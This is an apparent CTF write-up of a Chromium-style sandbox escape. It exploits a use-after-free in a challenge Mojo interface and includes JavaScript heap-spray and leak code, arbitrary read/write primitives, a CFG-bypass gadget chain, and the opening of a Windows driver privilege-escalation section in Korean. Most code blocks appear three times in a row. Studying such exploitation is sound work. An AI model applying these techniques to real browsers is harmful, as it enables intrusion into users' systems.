ChangeItemLocation("./dir1", "./dir1")
// [1]
./root/
./root/dir1

// [2]
ChangeItemLocation("./dir1", "./dir1")
// [1]
./root/
./root/dir1

// [2]
ChangeItemLocation("./dir1", "./dir1")

To connect this to UAF, let's go back to ChangeItemLocation.

void CodegateDirectoryImpl::ChangeItemLocation(
    const std::string& filename_src,
    const std::string& dst_dir,
    ChangeItemLocationCallback callback) {
    
    
  // [1]
  CodegateDirectoryImpl* destination_directory =
      ValidateChangeLocation(filename_src, dst_dir);

  if (!destination_directory) {
    // ...
    return;
  }

  // [2]
  std::unique_ptr<CodegateItem> file_to_move = RemoveItemByName(filename_src);

  // ...
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) { // [4]
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  
  // ...
}
void CodegateDirectoryImpl::ChangeItemLocation(
    const std::string& filename_src,
    const std::string& dst_dir,
    ChangeItemLocationCallback callback) {
    
    
  // [1]
  CodegateDirectoryImpl* destination_directory =
      ValidateChangeLocation(filename_src, dst_dir);

  if (!destination_directory) {
    // ...
    return;
  }

  // [2]
  std::unique_ptr<CodegateItem> file_to_move = RemoveItemByName(filename_src);

  // ...
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) { // [4]
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  
  // ...
}
void CodegateDirectoryImpl::ChangeItemLocation(
    const std::string& filename_src,
    const std::string& dst_dir,
    ChangeItemLocationCallback callback) {
    
    
  // [1]
  CodegateDirectoryImpl* destination_directory =
      ValidateChangeLocation(filename_src, dst_dir);

  if (!destination_directory) {
    // ...
    return;
  }

  // [2]
  std::unique_ptr<CodegateItem> file_to_move = RemoveItemByName(filename_src);

  // ...
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) { // [4]
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  
  // ...
}

Now that we can set src and dst files to be the same, at the moment just before [3] executes, file_to_move and destination_directory will point the same object.

If we can release file_to_move in this situation, we can make destination_directory dangling and use it as UAF.

To release file_to_move, we need to look at the AddItemInternal function.

At the destination_directory, the ownership of file_to_move is passed to AddItemInternal with std::move()[4] to allow destination_directory→item_list to be bound with ownership.

bool CodegateDirectoryImpl::AddItemInternal(
    std::unique_ptr<CodegateItem> new_item) {
  if (IsItemNameExists(new_item->GetItemName())) {
    return false;
  }

  new_item->SetParentDir(this);
  item_list_.push_back(std::move(new_item));
  return true;
}
bool CodegateDirectoryImpl::AddItemInternal(
    std::unique_ptr<CodegateItem> new_item) {
  if (IsItemNameExists(new_item->GetItemName())) {
    return false;
  }

  new_item->SetParentDir(this);
  item_list_.push_back(std::move(new_item));
  return true;
}
bool CodegateDirectoryImpl::AddItemInternal(
    std::unique_ptr<CodegateItem> new_item) {
  if (IsItemNameExists(new_item->GetItemName())) {
    return false;
  }

  new_item->SetParentDir(this);
  item_list_.push_back(std::move(new_item));
  return true;
}

However, if the new_item that came in with ownership as an argument isn't bound anywhere and the function ends, the reference will be 0 and be released at the end of the function.

The AddItemInternal function checks if a file with the same name already exists in the destination directory, and if so, returns false.

This is an appropriate action for the release scenario described above.

Trigger

Now, let's call ChangeItemLocation again, considering the following situation:

// [1]
./root/
./root/dir1 // == file_to_move (src) == destination_directory (dst)
./root/dir1/dir1

// [2]
ChangeItemLocation("./dir1", "./dir1")
// [1]
./root/
./root/dir1 // == file_to_move (src) == destination_directory (dst)
./root/dir1/dir1

// [2]
ChangeItemLocation("./dir1", "./dir1")
// [1]
./root/
./root/dir1 // == file_to_move (src) == destination_directory (dst)
./root/dir1/dir1

// [2]
ChangeItemLocation("./dir1", "./dir1")

file_to_move(src) and destination_directory(dst) are pointing to /root/dir1.

AddItemInternal is triggered and checks for duplicate filenames in ./root/dir1.

Since there is a duplicate filename ./root/dir1/dir1, the function will return false and finish.

At this point, file_to_move loses its reference and is freed.

  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }

Since file_to_move has been released, destination_directory has also been freed.

Because AddItemInternal returned false, PostTask will be executed. It then passes the freed destination_directory as an argument to RecoverItem, causing UAF to occur when RecoverItem is executed.

Heap Spray

The first step of the exploit is to occupy the freed object.

There are various heap spray techniques in real browser exploitation, but since this is a "CTF Challenge" , the primitive may exists that challengers could easily access.

CodegateFileImpl is the heap spray primitive provided by the challenge.

void CodegateFileImpl::Write(const std::vector<uint8_t>& data,
                             WriteCallback callback) {
  data_buffer_ = data;
  std::move(callback).Run(true);
}
void CodegateFileImpl::Write(const std::vector<uint8_t>& data,
                             WriteCallback callback) {
  data_buffer_ = data;
  std::move(callback).Run(true);
}
void CodegateFileImpl::Write(const std::vector<uint8_t>& data,
                             WriteCallback callback) {
  data_buffer_ = data;
  std::move(callback).Run(true);
}

CodegateFile→Write() stores the incoming array data as std::vector<uint8_t>.

This means we can create unlimited controllable Heap Objects of any desired size.

Let's try to occupy the UAF object using this.

Occupy

To occupy, we need to spray object before RecoverItem, which is posted to ThreadRunner, is executed.

  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }
  // [3]
  if (!destination_directory->AddItemInternal(std::move(file_to_move))) {
    base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
        FROM_HERE, base::BindOnce(&CodegateDirectoryImpl::RecoverItem,
                                  weak_factory_.GetWeakPtr(), backup_info,
                                  destination_directory, std::move(callback)));
    return;
  }

However, the journey to achieve this is a bit complicated.

  1. Since the Challenge is a Release version, many Code Snippets are excluded, and the speed is extremely fast. This means that the race window between the end of ChangeItemLocation and the execution of the posted RecoverItem is extremely short.

  2. Finding an Object of exactly the same size that can be Sprayed from another thread? This can be very helpful when the Race Window is short, but finding a Sprayable Object in time can be difficult, and more effort may be required to achieve Thread cache bypass.

Fortunately, there are no restrictions on interface calls and the creation of Directories and Files, so let's try to occupy by satisfying the given conditions.

When a Mojo IPC Call comes in, the IO Thread receives it, and after processes like Impl identification and Input Validation, it PostTasks the appropriate function to each Impl ThreadRunner.

All Codegate*** IPC calls will be executed on the same thread, and it's impossible to overwrite UAF Object with CodegateFile while ChangeItemLocation is running.

So, let's try to buy some time between ChangeItemLocation and RecoverItem.

We have called the normally functioning ChangeItemLocation function multiple times and then we called ChangeItemLocation, which can trigger UAF.

The above is the queue of the SequenceTaskRunner. It shows the tasks posted so far waiting for execution.

This way, before the UAF Trigger is executed, we can send additional Mojo IPC call for as long as ChangeItemLocation runs.

If we push in CodegateFile::Write N times during this time,


The running TaskRunner will take the form above, and if time passes and UAF is triggered


It will look like the above. Now the Write Spray work begins, and if N was sufficient, we will eventually be able to occupy the Freed Object.


We can repeat this until successfully overwriting.

In the exploit, we can improve stability by comparing the file name, vector, etc., to check if it has been successfully overwritten.

{
  // ...
	var swp_dir = null;
	var uaf_readwriter = null;
	var leak = null;
	while (swp_dir == null) {
	    await this.prepare_UAF();
	    [swp_dir, uaf_readwriter] = await this.makeUafObject(fake_ab);
	}
	
	// ...
}

async prepare_UAF() {
    log("Preparing UAF...");
    await this.root_dir.deleteItem("spray_dir");
    await this.root_dir.deleteItem("temp_dir");

    this.spray_dir = await this.createDirectory(this.root_dir, "spray_dir");
    this.temp_dir = await this.createDirectory(this.root_dir, "temp_dir");

    for (var i = 0; i < this.try_cnt; i++) {
        await this.createFile(this.root_dir, "temp_file" + i);
        await this.createFile(this.temp_dir, "temp_file" + i);
    }

    this.fast_alloc_head = 0;
    this.slot = [];
    for (var i = 0; i < this.spray_capacity; i++) {
        this.slot[i] = await this.createFile(this.spray_dir, "spray_file" + i);
    }
    log("Finish preparing UAF...");
}

async makeUafObject(ab) {
    var ___ = new Uint8Array(ab);

    var _ = await this.createDirectory(this.root_dir, "qwer");
    var __ = await this.createDirectory(_, "qwer");

    log("Making Threadrunner Busy...");

    for (var i = 0; i < this.try_cnt; i++) {
        this.root_dir.changeItemLocation("temp_file" + i, "temp_dir");
    }

    var prom = this.root_dir.changeItemLocation("qwer", "qwer")

    for (var i = 0; i < this.spray_capacity; i++) {
        this.fast_alloc(___);
    }

    await sleep(2000);

    var original;
    await this.get_spray_obj(0).read().then((r) => {
        console.log("Read data: " + r.data);
        original = r.data;
    });

    var leak;
    var idx;
    for (var i = 0; i < this.spray_capacity; i++) {
        await this.get_spray_obj(i).read().then((r) => {
            if (!CheckArrayEqual(r.data, original)) {
                console.log("Read data: " + r.data);
                leak = ArrayToBigInt(r.data);
                idx = i;
            }
        });
    }
    var swp_dir;
    await prom.then((r) => {
        swp_dir = r.remoteItem.$data;
    });

    if (leak == undefined) {
        log("Failed to leak data");
        return [null, null, null];
    }

    var leak1 = leak[0x88 / 8];
    var leak2 = leak[0x90 / 8];
    console.log("Leak: " + hex(leak1));
    console.log("Leak: " + hex(leak2));
    if ((leak1 + 0x8n) == leak2) {
        log("Successfully Overwrite");

    } else {
        log("Failed to overwrite");
        return [null, null, null];
    }

    return [swp_dir, this.slot[idx]]

}
{
  // ...
	var swp_dir = null;
	var uaf_readwriter = null;
	var leak = null;
	while (swp_dir == null) {
	    await this.prepare_UAF();
	    [swp_dir, uaf_readwriter] = await this.makeUafObject(fake_ab);
	}
	
	// ...
}

async prepare_UAF() {
    log("Preparing UAF...");
    await this.root_dir.deleteItem("spray_dir");
    await this.root_dir.deleteItem("temp_dir");

    this.spray_dir = await this.createDirectory(this.root_dir, "spray_dir");
    this.temp_dir = await this.createDirectory(this.root_dir, "temp_dir");

    for (var i = 0; i < this.try_cnt; i++) {
        await this.createFile(this.root_dir, "temp_file" + i);
        await this.createFile(this.temp_dir, "temp_file" + i);
    }

    this.fast_alloc_head = 0;
    this.slot = [];
    for (var i = 0; i < this.spray_capacity; i++) {
        this.slot[i] = await this.createFile(this.spray_dir, "spray_file" + i);
    }
    log("Finish preparing UAF...");
}

async makeUafObject(ab) {
    var ___ = new Uint8Array(ab);

    var _ = await this.createDirectory(this.root_dir, "qwer");
    var __ = await this.createDirectory(_, "qwer");

    log("Making Threadrunner Busy...");

    for (var i = 0; i < this.try_cnt; i++) {
        this.root_dir.changeItemLocation("temp_file" + i, "temp_dir");
    }

    var prom = this.root_dir.changeItemLocation("qwer", "qwer")

    for (var i = 0; i < this.spray_capacity; i++) {
        this.fast_alloc(___);
    }

    await sleep(2000);

    var original;
    await this.get_spray_obj(0).read().then((r) => {
        console.log("Read data: " + r.data);
        original = r.data;
    });

    var leak;
    var idx;
    for (var i = 0; i < this.spray_capacity; i++) {
        await this.get_spray_obj(i).read().then((r) => {
            if (!CheckArrayEqual(r.data, original)) {
                console.log("Read data: " + r.data);
                leak = ArrayToBigInt(r.data);
                idx = i;
            }
        });
    }
    var swp_dir;
    await prom.then((r) => {
        swp_dir = r.remoteItem.$data;
    });

    if (leak == undefined) {
        log("Failed to leak data");
        return [null, null, null];
    }

    var leak1 = leak[0x88 / 8];
    var leak2 = leak[0x90 / 8];
    console.log("Leak: " + hex(leak1));
    console.log("Leak: " + hex(leak2));
    if ((leak1 + 0x8n) == leak2) {
        log("Successfully Overwrite");

    } else {
        log("Failed to overwrite");
        return [null, null, null];
    }

    return [swp_dir, this.slot[idx]]

}
{
  // ...
	var swp_dir = null;
	var uaf_readwriter = null;
	var leak = null;
	while (swp_dir == null) {
	    await this.prepare_UAF();
	    [swp_dir, uaf_readwriter] = await this.makeUafObject(fake_ab);
	}
	
	// ...
}

async prepare_UAF() {
    log("Preparing UAF...");
    await this.root_dir.deleteItem("spray_dir");
    await this.root_dir.deleteItem("temp_dir");

    this.spray_dir = await this.createDirectory(this.root_dir, "spray_dir");
    this.temp_dir = await this.createDirectory(this.root_dir, "temp_dir");

    for (var i = 0; i < this.try_cnt; i++) {
        await this.createFile(this.root_dir, "temp_file" + i);
        await this.createFile(this.temp_dir, "temp_file" + i);
    }

    this.fast_alloc_head = 0;
    this.slot = [];
    for (var i = 0; i < this.spray_capacity; i++) {
        this.slot[i] = await this.createFile(this.spray_dir, "spray_file" + i);
    }
    log("Finish preparing UAF...");
}

async makeUafObject(ab) {
    var ___ = new Uint8Array(ab);

    var _ = await this.createDirectory(this.root_dir, "qwer");
    var __ = await this.createDirectory(_, "qwer");

    log("Making Threadrunner Busy...");

    for (var i = 0; i < this.try_cnt; i++) {
        this.root_dir.changeItemLocation("temp_file" + i, "temp_dir");
    }

    var prom = this.root_dir.changeItemLocation("qwer", "qwer")

    for (var i = 0; i < this.spray_capacity; i++) {
        this.fast_alloc(___);
    }

    await sleep(2000);

    var original;
    await this.get_spray_obj(0).read().then((r) => {
        console.log("Read data: " + r.data);
        original = r.data;
    });

    var leak;
    var idx;
    for (var i = 0; i < this.spray_capacity; i++) {
        await this.get_spray_obj(i).read().then((r) => {
            if (!CheckArrayEqual(r.data, original)) {
                console.log("Read data: " + r.data);
                leak = ArrayToBigInt(r.data);
                idx = i;
            }
        });
    }
    var swp_dir;
    await prom.then((r) => {
        swp_dir = r.remoteItem.$data;
    });

    if (leak == undefined) {
        log("Failed to leak data");
        return [null, null, null];
    }

    var leak1 = leak[0x88 / 8];
    var leak2 = leak[0x90 / 8];
    console.log("Leak: " + hex(leak1));
    console.log("Leak: " + hex(leak2));
    if ((leak1 + 0x8n) == leak2) {
        log("Successfully Overwrite");

    } else {
        log("Failed to overwrite");
        return [null, null, null];
    }

    return [swp_dir, this.slot[idx]]

}

Leak

After overwriting the UAF Object, we need a controllable area and address to avoid crashes and control the flow. There are various techniques to achieve this, but in this challenge, we'll use std::vector<> to allocate our objects at a Known Address.

(With a few attempts, you will see that it is s impossible to receive a leak through Mojo Response.)

When std::vector<> reaches full capacity, it releases the existing heap, allocates a new heap with increased capacity, and moves the existing data.

Using CodegateFile→Read(), we can leak UAF Object->CodegateItem→itemname_. Additionally, using CodegateFile→Edit(), we can manipulate UAF Object→vector{start, last, end}

The next step is to create & leak a Known Address of size 0x800, then occupy that area.

  1. UAF object parents→Rename(uaf_object, "A" * 0x800)

    • The std::string will be allocated in a heap slot of size 0x800.

    • This 0x800 size area will be used later for Fake Object, ROP, Temp Memory, etc.

  2. UAF Object→Read() to leak UAF Object→itemname_.

  3. Modify the UAF Object Vector as follows:

    • UAF Object→Vector→start = heapleak

    • UAF Object→Vector→last = heapleak

    • UAF Object→Vector→end = heapleak + 0x800

  4. Perform UAF Object→CreateItem 0x800 / 8 times.

    • The vector will point to std::string, and the 0x800 size will be filled.

  5. Perform UAF Object→CreateItem one more time.

    • Due to insufficient capacity, the existing area (std::string) is released, and the existing data is moved to the new vector space.

  6. Perform Spray(0x800, spray_cnt).

    • We can now occupy the freed 0x800, and this address becomes the one leaked in steps 1 and 2.

In this way, we can achieve Known Address creation, leaking, and occupation, and now we can make Fake Objects, ROP Chains, etc. in that area.

Simply using rename() itself for Spray is not suitable because the JS → Mojo → Impl encoding conversion process doesn't properly recognize Null Characters and characters in the UTF-8 range, which is why we need to use the method above. The same goes for Leak .

In exploit, we can use specific fields(here, std::string item_name_) as success identifiers.

        log("Occupy the freed memory");
        var final_spray = [];
        for (var i = 0; i < 0x1000; i++) {

            fake_obj.setBigUint64(0x8, u64(i.toString().padStart(8, '0')));

            var _ = new Uint8Array(ab);
            final_spray.push(await this.slow_alloc(_));
        }

        log("Check Occupied Memory with pwd");
        var pwd = (await swp_dir.getPwd()).data;
        log("pwd: " + pwd);
        if (!pwd.startsWith("/QWERQWER")) {
            log("Failed to occupy memory");
            window.location.reload(); // RETRY!
            return;
        }

        log("Successfully occupied memory");
        var spray_idx = parseInt(pwd.slice(9, 9 + 8));
        var heapleak_readwriter = final_spray[spray_idx];
        log("Occupy the freed memory");
        var final_spray = [];
        for (var i = 0; i < 0x1000; i++) {

            fake_obj.setBigUint64(0x8, u64(i.toString().padStart(8, '0')));

            var _ = new Uint8Array(ab);
            final_spray.push(await this.slow_alloc(_));
        }

        log("Check Occupied Memory with pwd");
        var pwd = (await swp_dir.getPwd()).data;
        log("pwd: " + pwd);
        if (!pwd.startsWith("/QWERQWER")) {
            log("Failed to occupy memory");
            window.location.reload(); // RETRY!
            return;
        }

        log("Successfully occupied memory");
        var spray_idx = parseInt(pwd.slice(9, 9 + 8));
        var heapleak_readwriter = final_spray[spray_idx];
        log("Occupy the freed memory");
        var final_spray = [];
        for (var i = 0; i < 0x1000; i++) {

            fake_obj.setBigUint64(0x8, u64(i.toString().padStart(8, '0')));

            var _ = new Uint8Array(ab);
            final_spray.push(await this.slow_alloc(_));
        }

        log("Check Occupied Memory with pwd");
        var pwd = (await swp_dir.getPwd()).data;
        log("pwd: " + pwd);
        if (!pwd.startsWith("/QWERQWER")) {
            log("Failed to occupy memory");
            window.location.reload(); // RETRY!
            return;
        }

        log("Successfully occupied memory");
        var spray_idx = parseInt(pwd.slice(9, 9 + 8));
        var heapleak_readwriter = final_spray[spray_idx];

AAR/W Primitive

CodegateFileImpl has the same structure as CodegateDirectoryImpl, but the std::vector type is uint8_t.

By creating a Fake CodegateFileImpl, adding it to the UAF Object, and manipulating the m_first, m_last, and m_endof the Fake CodegateFileImpl, we can achieve arbitrary address read / write.

Here is simple Exploit POC for AAR/W.

var uafobj = await exploit.makeUAF();
makeAARW_Primitive(uafobj);

var fake_file = uafobj->GetItemHandle("./fake_file")
fake_file.setVector(0xdeadbeef); // set arbitrary address for write
fake_file.write([11,22,33,44])

fake_file.setVector(0xcafebabe); // set arbitrary address for read
var aar = fake_file.read()
var uafobj = await exploit.makeUAF();
makeAARW_Primitive(uafobj);

var fake_file = uafobj->GetItemHandle("./fake_file")
fake_file.setVector(0xdeadbeef); // set arbitrary address for write
fake_file.write([11,22,33,44])

fake_file.setVector(0xcafebabe); // set arbitrary address for read
var aar = fake_file.read()
var uafobj = await exploit.makeUAF();
makeAARW_Primitive(uafobj);

var fake_file = uafobj->GetItemHandle("./fake_file")
fake_file.setVector(0xdeadbeef); // set arbitrary address for write
fake_file.write([11,22,33,44])

fake_file.setVector(0xcafebabe); // set arbitrary address for read
var aar = fake_file.read()

Arbitrary Call Primitive

By setting the UAF Object→directory_vtable to a controllable heap object and manipulating only CodegateDirectory→ListItems, we can achieve arbitrary function calls.

Like the Renderer, the Browser Process also has CFG Mitigation enabled.

This time, we use the well-known technique of Didwrite → Function Invoker Chain to achieve CFG Bypass and arbitrary function calls.

// Pseudocode
// Curret Caller == UAF Object
void __fastcall blink::FileSystemDispatcher::WriteListener::DidWrite() {
	add     rcx, 10h
	jmp     RepeatingCallback
}

// Current Caller == UAF Object + 0x10
void __fastcall base::RepeatingCallback::Run()
{

  // ...
  // [1] ptr == *(UAF Object + 0x10)
  ptr = *this
  if ( ptr )
    base::subtle::RefCountedThreadSafeBase::AddRefWithCheck(ptr);

  // ...
  // [2] (*(UAF Object + 0x18)) ( *(UAF Object + 0x10 )
  (*(*this + 8LL))(ptr, args, a3);
  if ( ptr && base::subtle::RefCountedThreadSafeBase::Release(ptr) )
    base::internal::BindStateBaseRefCountTraits::Destruct(ptr);
    
  // ...
}
// Pseudocode
// Curret Caller == UAF Object
void __fastcall blink::FileSystemDispatcher::WriteListener::DidWrite() {
	add     rcx, 10h
	jmp     RepeatingCallback
}

// Current Caller == UAF Object + 0x10
void __fastcall base::RepeatingCallback::Run()
{

  // ...
  // [1] ptr == *(UAF Object + 0x10)
  ptr = *this
  if ( ptr )
    base::subtle::RefCountedThreadSafeBase::AddRefWithCheck(ptr);

  // ...
  // [2] (*(UAF Object + 0x18)) ( *(UAF Object + 0x10 )
  (*(*this + 8LL))(ptr, args, a3);
  if ( ptr && base::subtle::RefCountedThreadSafeBase::Release(ptr) )
    base::internal::BindStateBaseRefCountTraits::Destruct(ptr);
    
  // ...
}
// Pseudocode
// Curret Caller == UAF Object
void __fastcall blink::FileSystemDispatcher::WriteListener::DidWrite() {
	add     rcx, 10h
	jmp     RepeatingCallback
}

// Current Caller == UAF Object + 0x10
void __fastcall base::RepeatingCallback::Run()
{

  // ...
  // [1] ptr == *(UAF Object + 0x10)
  ptr = *this
  if ( ptr )
    base::subtle::RefCountedThreadSafeBase::AddRefWithCheck(ptr);

  // ...
  // [2] (*(UAF Object + 0x18)) ( *(UAF Object + 0x10 )
  (*(*this + 8LL))(ptr, args, a3);
  if ( ptr && base::subtle::RefCountedThreadSafeBase::Release(ptr) )
    base::internal::BindStateBaseRefCountTraits::Destruct(ptr);
    
  // ...
}

Since we've manipulated the vtable of the UAF Object and achieved arbitrary function calls, rcx(this) currently points to the UAF Object.

The variable ptr[1] will be the value of UAF Object + 0x10, and [2] allows us to make a new function call (ptr+8).

We maintain the RefCount at ptr+0x0 as 1 (gadget constraint), and set ptr+0x8 with useful Gadget from Function Invoker.

.text:0000000188B598E0 ; void __fastcall base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (blink::ParkableStringManager::*&&)(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta),blink::ParkableStringManager *,blink::ParkableStringImpl *,base::TimeDelta &&,base::TimeDelta &&&gt;,base::internal::BindState&lt;1,1,0,void (blink::ParkableStringManager::*)(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta),base::internal::UnretainedWrapper&lt;blink::ParkableStringManager,base::unretained_traits::MayNotDangle,0&gt;,base::internal::RetainedRefWrapper&lt;blink::ParkableStringImpl&gt;,base::TimeDelta,base::TimeDelta&gt;,void (void)&gt;::RunOnce(struct base::internal::BindStateBase *base)
.text:0000000188B598E0 ?RunOnce@?$Invoker@U?$FunctorTraits@$$QEAP8ParkableStringManager@blink@@EAAXPEAVParkableStringImpl@2@VTimeDelta@base@@1@ZPEAV12@PEAV32@$$QEAV45@$$QEAV45@@internal@base@@U?$BindState@$00$00$0A@P8ParkableStringManager@blink@@EAAXPEAVParkableStringImpl@2@VTimeDelta@base@@1@ZV?$UnretainedWrapper@VParkableStringManager@blink@@UMayNotDangle@unretained_traits@base@@$0A@@internal@5@V?$RetainedRefWrapper@VParkableStringImpl@blink@@@75@V45@V45@@23@$$A6AXXZ@internal@base@@SAXPEAVBindStateBase@23@@Z proc near
.text:0000000188B598E0                                         ; DATA XREF: blink::ParkableStringManager::CompleteUnpark(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta)+104o
.text:0000000188B598E0                                         ; .rdata:00000001942B54E4o
.text:0000000188B598E0 base = rcx
.text:0000000188B598E0                 mov     rdx, [base+30h]
.text:0000000188B598E4                 mov     rax, [base+20h]
.text:0000000188B598E8                 mov     r10, [base+28h]
.text:0000000188B598EC                 mov     r9, [base+40h]
.text:0000000188B598F0                 mov     r8, [base+38h]
.text:0000000188B598F4                 mov     r11, cs:__guard_dispatch_icall_fptr
.text:0000000188B598FB                 mov     base, r10
.text:0000000188B598FE                 jmp     r11
.text:0000000188B598E0 ; void __fastcall base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (blink::ParkableStringManager::*&&)(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta),blink::ParkableStringManager *,blink::ParkableStringImpl *,base::TimeDelta &&,base::TimeDelta &&&gt;,base::internal::BindState&lt;1,1,0,void (blink::ParkableStringManager::*)(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta),base::internal::UnretainedWrapper&lt;blink::ParkableStringManager,base::unretained_traits::MayNotDangle,0&gt;,base::internal::RetainedRefWrapper&lt;blink::ParkableStringImpl&gt;,base::TimeDelta,base::TimeDelta&gt;,void (void)&gt;::RunOnce(struct base::internal::BindStateBase *base)
.text:0000000188B598E0 ?RunOnce@?$Invoker@U?$FunctorTraits@$$QEAP8ParkableStringManager@blink@@EAAXPEAVParkableStringImpl@2@VTimeDelta@base@@1@ZPEAV12@PEAV32@$$QEAV45@$$QEAV45@@internal@base@@U?$BindState@$00$00$0A@P8ParkableStringManager@blink@@EAAXPEAVParkableStringImpl@2@VTimeDelta@base@@1@ZV?$UnretainedWrapper@VParkableStringManager@blink@@UMayNotDangle@unretained_traits@base@@$0A@@internal@5@V?$RetainedRefWrapper@VParkableStringImpl@blink@@@75@V45@V45@@23@$$A6AXXZ@internal@base@@SAXPEAVBindStateBase@23@@Z proc near
.text:0000000188B598E0                                         ; DATA XREF: blink::ParkableStringManager::CompleteUnpark(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta)+104o
.text:0000000188B598E0                                         ; .rdata:00000001942B54E4o
.text:0000000188B598E0 base = rcx
.text:0000000188B598E0                 mov     rdx, [base+30h]
.text:0000000188B598E4                 mov     rax, [base+20h]
.text:0000000188B598E8                 mov     r10, [base+28h]
.text:0000000188B598EC                 mov     r9, [base+40h]
.text:0000000188B598F0                 mov     r8, [base+38h]
.text:0000000188B598F4                 mov     r11, cs:__guard_dispatch_icall_fptr
.text:0000000188B598FB                 mov     base, r10
.text:0000000188B598FE                 jmp     r11
.text:0000000188B598E0 ; void __fastcall base::internal::Invoker&lt;base::internal::FunctorTraits&lt;void (blink::ParkableStringManager::*&&)(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta),blink::ParkableStringManager *,blink::ParkableStringImpl *,base::TimeDelta &&,base::TimeDelta &&&gt;,base::internal::BindState&lt;1,1,0,void (blink::ParkableStringManager::*)(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta),base::internal::UnretainedWrapper&lt;blink::ParkableStringManager,base::unretained_traits::MayNotDangle,0&gt;,base::internal::RetainedRefWrapper&lt;blink::ParkableStringImpl&gt;,base::TimeDelta,base::TimeDelta&gt;,void (void)&gt;::RunOnce(struct base::internal::BindStateBase *base)
.text:0000000188B598E0 ?RunOnce@?$Invoker@U?$FunctorTraits@$$QEAP8ParkableStringManager@blink@@EAAXPEAVParkableStringImpl@2@VTimeDelta@base@@1@ZPEAV12@PEAV32@$$QEAV45@$$QEAV45@@internal@base@@U?$BindState@$00$00$0A@P8ParkableStringManager@blink@@EAAXPEAVParkableStringImpl@2@VTimeDelta@base@@1@ZV?$UnretainedWrapper@VParkableStringManager@blink@@UMayNotDangle@unretained_traits@base@@$0A@@internal@5@V?$RetainedRefWrapper@VParkableStringImpl@blink@@@75@V45@V45@@23@$$A6AXXZ@internal@base@@SAXPEAVBindStateBase@23@@Z proc near
.text:0000000188B598E0                                         ; DATA XREF: blink::ParkableStringManager::CompleteUnpark(blink::ParkableStringImpl *,base::TimeDelta,base::TimeDelta)+104o
.text:0000000188B598E0                                         ; .rdata:00000001942B54E4o
.text:0000000188B598E0 base = rcx
.text:0000000188B598E0                 mov     rdx, [base+30h]
.text:0000000188B598E4                 mov     rax, [base+20h]
.text:0000000188B598E8                 mov     r10, [base+28h]
.text:0000000188B598EC                 mov     r9, [base+40h]
.text:0000000188B598F0                 mov     r8, [base+38h]
.text:0000000188B598F4                 mov     r11, cs:__guard_dispatch_icall_fptr
.text:0000000188B598FB                 mov     base, r10
.text:0000000188B598FE                 jmp     r11

The gadget above looks good for our situation.

At the point when the Function Invoker is executed, rcx can be manipulated to an Arbitrary Address, so we can set it to our obtained Heap Leak, allowing us to configure the function and argv as desired.


Arbitrary Call achieved!

Part 3: LPE

문제에서 제공된 파일은 필수적인 것만 들어있어 매우 미니멀합니다. 사전에 배포된 Windows 11 이미지 외에는 PoW (Proof-of-Work) 코드와 MemoryStorage.sys 파일만 주어졌습니다. 우리는 이 MemoryStorage.sys 드라이버를 분석하고 이를 이용해 Windows에서 권한 상승을 수행해야 합니다.

문제 개요

MemoryStorage.sys는 레거시 Windows 드라이버 모델(WDM)을 사용하여 개발된 Windows 커널 드라이버입니다. 이 드라이버의 DriverEntry 함수를 살펴보면, 커널 스택 쿠키를 초기화하는 기능과 드라이버의 메인 루틴을 처리하는 기능을 담당하는 단 두 개의 함수 구성 요소만 포함되어 있습니다.

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  sub_14000502C(); // Stack cookie initialize
  return sub_14000173C(DriverObject, RegistryPath); // Main routine
}
